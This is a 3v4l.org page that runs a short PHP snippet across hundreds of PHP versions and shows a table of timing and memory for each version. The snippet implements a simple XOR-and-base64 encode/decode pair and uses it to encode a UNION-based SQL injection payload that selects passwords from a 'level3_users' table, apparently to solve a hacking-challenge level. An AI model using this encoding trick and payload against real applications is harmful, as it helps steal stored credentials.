3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' union all select 1,2,3,password,5,6,7 from level3_users--"); print "\n"; print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0100.00618.43
8.3.60.0030.01518.43
8.3.50.0100.00522.17
8.3.40.0030.01719.10
8.3.30.0000.01418.95
8.3.20.0070.01319.04
8.3.10.0040.00421.09
8.3.00.0040.00423.61
8.2.180.0110.00417.00
8.2.170.0120.00322.96
8.2.160.0100.00320.35
8.2.150.0040.00424.18
8.2.140.0050.00324.66
8.2.130.0000.00826.16
8.2.120.0040.00421.12
8.2.110.0060.00321.00
8.2.100.0100.00617.91
8.2.90.0000.00819.05
8.2.80.0080.00018.00
8.2.70.0030.00717.75
8.2.60.0000.00817.92
8.2.50.0040.00418.10
8.2.40.0040.00420.55
8.2.30.0000.01019.47
8.2.20.0040.00417.78
8.2.10.0040.00418.04
8.2.00.0040.00417.81
8.1.280.0130.00725.92
8.1.270.0000.00723.99
8.1.260.0100.01026.35
8.1.250.0050.00328.09
8.1.240.0040.00422.14
8.1.230.0040.00717.77
8.1.220.0000.01017.79
8.1.210.0030.00518.77
8.1.200.0050.00517.50
8.1.190.0040.00417.48
8.1.180.0040.00418.10
8.1.170.0000.00818.61
8.1.160.0000.00922.23
8.1.150.0050.00318.73
8.1.140.0040.00417.61
8.1.130.0030.00317.83
8.1.120.0000.00717.60
8.1.110.0040.00417.52
8.1.100.0040.00417.49
8.1.90.0040.00417.71
8.1.80.0040.00417.64
8.1.70.0030.00317.59
8.1.60.0000.00917.78
8.1.50.0090.00017.59
8.1.40.0050.00317.75
8.1.30.0080.00017.78
8.1.20.0040.00417.84
8.1.10.0050.00317.73
8.1.00.0080.00417.66
8.0.300.0080.00018.77
8.0.290.0030.00517.00
8.0.280.0000.00718.50
8.0.270.0000.00717.35
8.0.260.0030.00316.87
8.0.250.0030.00517.09
8.0.240.0060.00317.11
8.0.230.0040.00417.07
8.0.220.0000.01016.96
8.0.210.0000.00717.07
8.0.200.0030.00317.13
8.0.190.0000.00817.14
8.0.180.0040.00417.09
8.0.170.0040.00417.19
8.0.160.0040.00417.06
8.0.150.0030.00317.07
8.0.140.0080.00016.93
8.0.130.0000.00613.43
8.0.120.0030.00516.94
8.0.110.0040.00416.91
8.0.100.0040.00416.95
8.0.90.0050.00316.96
8.0.80.0070.01317.11
8.0.70.0000.00817.11
8.0.60.0040.00417.13
8.0.50.0000.00817.02
8.0.30.0100.00917.32
8.0.20.0050.01517.40
8.0.10.0040.00417.17
8.0.00.0140.00616.77
7.4.330.0030.00316.86
7.4.320.0030.00316.75
7.4.300.0000.00716.71
7.4.290.0030.00316.75
7.4.280.0000.00716.73
7.4.270.0070.00316.70
7.4.260.0060.00013.56
7.4.250.0030.00616.79
7.4.240.0040.00416.74
7.4.230.0060.00316.82
7.4.220.0100.01116.69
7.4.210.0060.00816.80
7.4.200.0070.00016.65
7.4.190.0000.00716.93
7.4.160.0130.00816.99
7.4.150.0090.01617.40
7.4.140.0080.00917.86
7.4.130.0120.00816.72
7.4.120.0110.00916.76
7.4.110.0080.00816.72
7.4.100.0090.00916.90
7.4.90.0140.01116.73
7.4.80.0150.00719.39
7.4.70.0110.00516.57
7.4.60.0060.01116.87
7.4.50.0000.00916.71
7.4.40.0040.01522.77
7.4.30.0070.01016.91
7.4.00.0120.00315.05
7.3.330.0050.00013.54
7.3.320.0030.00313.48
7.3.310.0030.00316.54
7.3.300.0030.00316.43
7.3.290.0070.00716.55
7.3.280.0100.00616.55
7.3.270.0060.01217.40
7.3.260.0140.00718.24
7.3.250.0090.01216.70
7.3.240.0090.00916.72
7.3.230.0120.00816.46
7.3.210.0030.01516.57
7.3.200.0100.00619.39
7.3.190.0000.01616.69
7.3.180.0090.00616.64
7.3.170.0030.01316.50
7.3.160.0110.00816.82
7.3.120.0120.00314.96
7.2.330.0090.00917.03
7.2.320.0060.01616.82
7.2.310.0100.00717.01
7.2.300.0090.00916.87
7.2.290.0060.01216.74
7.2.00.0060.00619.96
7.1.100.0040.01118.34
7.1.70.0000.00717.54
7.1.60.0070.00417.55
7.1.50.0040.02217.21
7.1.00.0030.04022.59
7.0.200.0040.01317.03
7.0.140.0070.07322.22
7.0.100.0070.03720.20
7.0.90.0070.04019.94
7.0.80.0030.04020.03
7.0.70.0200.03320.02
7.0.60.0070.03720.05
7.0.50.0000.04320.24
7.0.40.0070.04020.13
7.0.30.0100.03720.11
7.0.20.0100.04320.08
7.0.10.0230.05720.10
7.0.00.0100.03720.14
5.6.280.0130.06320.89
5.6.250.0000.04320.63
5.6.240.0100.03720.52
5.6.230.0130.03020.70
5.6.220.0100.03720.65
5.6.210.0030.04020.67
5.6.200.0070.04021.10
5.6.190.0000.05321.06
5.6.180.0070.04021.11
5.6.170.0030.04320.94
5.6.160.0030.04720.99
5.6.150.0100.08020.96
5.6.140.0100.06721.02
5.6.130.0100.05321.04
5.6.120.0170.07021.14
5.6.110.0130.07321.02
5.6.100.0070.08321.04
5.6.90.0130.06721.07
5.6.80.0030.05020.42
5.6.70.0000.04020.32
5.6.60.0100.04020.46
5.6.50.0130.06320.42
5.6.40.0070.08020.48
5.6.30.0100.06720.45
5.6.20.0070.08020.40
5.6.10.0070.06720.41
5.6.00.0100.04720.46
5.5.380.0030.04320.36
5.5.370.0070.05320.56
5.5.360.0000.04720.51
5.5.350.0070.04020.43
5.5.340.0170.03020.91
5.5.330.0000.05020.81
5.5.320.0000.04720.95
5.5.310.0000.04320.84
5.5.300.0070.08320.79
5.5.290.0170.08020.93
5.5.280.0100.08320.89
5.5.270.0200.07720.89
5.5.260.0000.08320.79
5.5.250.0170.07320.62
5.5.240.0030.08720.04
5.5.230.0070.08320.13
5.5.220.0200.06720.21
5.5.210.0030.04020.21
5.5.200.0130.07320.26
5.5.190.0130.07720.19
5.5.180.0070.08320.25
5.5.160.0070.07720.26
5.5.150.0070.07720.16
5.5.140.0130.07720.25
5.5.130.0130.06720.26
5.5.120.0070.07720.29
5.5.110.0170.06720.27
5.5.100.0130.07320.10
5.5.90.0100.07320.18
5.5.80.0230.06020.05
5.5.70.0070.08320.07
5.5.60.0100.07720.11
5.5.50.0030.07720.15
5.5.40.0200.06020.07
5.5.30.0130.07020.06
5.5.20.0100.07320.14
5.5.10.0030.07719.96
5.5.00.0070.08020.02
5.4.450.0070.08019.47
5.4.440.0100.04319.21
5.4.430.0070.07719.52
5.4.420.0130.07019.50
5.4.410.0170.07019.10
5.4.400.0030.03319.14
5.4.390.0100.07318.98
5.4.380.0100.03019.13
5.4.370.0130.06718.91
5.4.360.0070.08019.14
5.4.350.0030.06318.90
5.4.340.0100.07019.21
5.4.320.0130.06719.13
5.4.310.0100.04019.10
5.4.300.0030.07019.21
5.4.290.0070.07319.04
5.4.280.0000.05319.23
5.4.270.0070.07719.14
5.4.260.0030.07319.23
5.4.250.0130.07319.15
5.4.240.0130.06719.13
5.4.230.0070.07319.02
5.4.220.0130.04319.18
5.4.210.0100.07018.89
5.4.200.0230.06018.88
5.4.190.0030.08319.12
5.4.180.0030.08319.02
5.4.170.0030.05019.20
5.4.160.0070.04318.88
5.4.150.0130.06718.97
5.4.140.0030.06316.49
5.4.130.0070.06016.46
5.4.120.0070.06316.46
5.4.110.0100.06716.59
5.4.100.0070.07316.48
5.4.90.0030.05316.33
5.4.80.0100.03716.39
5.4.70.0070.07016.55
5.4.60.0070.03316.38
5.4.50.0100.07316.46
5.4.40.0070.07316.48
5.4.30.0100.07716.41
5.4.20.0030.08016.46
5.4.10.0100.05316.50
5.4.00.0100.06715.79
5.3.290.0000.07314.63
5.3.280.0030.06014.70
5.3.270.0070.08014.69
5.3.260.0100.07014.68
5.3.250.0100.03714.71
5.3.240.0070.06714.65
5.3.230.0100.06714.64
5.3.220.0070.06314.55
5.3.210.0100.05314.61
5.3.200.0100.06014.57
5.3.190.0130.07314.50
5.3.180.0070.07714.50
5.3.170.0130.05714.55
5.3.160.0030.07014.59
5.3.150.0070.04014.56
5.3.140.0100.07014.50
5.3.130.0130.07314.54
5.3.120.0070.05014.70
5.3.110.0130.07314.54
5.3.100.0030.07014.07
5.3.90.0030.04314.05
5.3.80.0070.07314.14
5.3.70.0030.07714.11
5.3.60.0030.06714.00
5.3.50.0070.07314.01
5.3.40.0070.04014.05
5.3.30.0100.05313.84
5.3.20.0130.06313.76
5.3.10.0170.07013.76
5.3.00.0000.08313.71
5.2.170.0000.04012.07
5.2.160.0030.06012.07
5.2.150.0070.05312.07
5.2.140.0130.05712.07
5.2.130.0070.06012.07
5.2.120.0000.06312.07
5.2.110.0130.05012.07
5.2.100.0200.04712.07
5.2.90.0030.06712.07
5.2.80.0030.06712.07
5.2.70.0030.06312.07
5.2.60.0000.07012.07
5.2.50.0070.06012.07
5.2.40.0000.06712.07
5.2.30.0100.03312.07
5.2.20.0070.05012.07
5.2.10.0030.05012.07
5.2.00.0070.03712.07
5.1.60.0030.05012.07
5.1.50.0130.03712.07
5.1.40.0000.04712.07
5.1.30.0000.06012.07
5.1.20.0030.06012.07
5.1.10.0070.05712.07
5.1.00.0000.05712.07
5.0.50.0100.04012.07
5.0.40.0030.04312.07
5.0.30.0030.06012.07
5.0.20.0030.04312.07
5.0.10.0030.04312.07
5.0.00.0030.06712.07
4.4.90.0030.02012.07
4.4.80.0070.03312.07
4.4.70.0030.02712.07
4.4.60.0100.03012.07
4.4.50.0070.02712.07
4.4.40.0030.05312.07
4.4.30.0000.04012.07
4.4.20.0000.03012.07
4.4.10.0030.03312.07
4.4.00.0000.05012.07
4.3.110.0000.03712.07
4.3.100.0030.03712.07
4.3.90.0000.02012.07
4.3.80.0070.04712.07
4.3.70.0030.02712.07
4.3.60.0000.03712.07
4.3.50.0030.02712.07
4.3.40.0000.05312.07
4.3.30.0000.03712.07
4.3.20.0030.03012.07
4.3.10.0000.04012.07
4.3.00.0070.02312.07

preferences:
57.88 ms | 401 KiB | 5 Q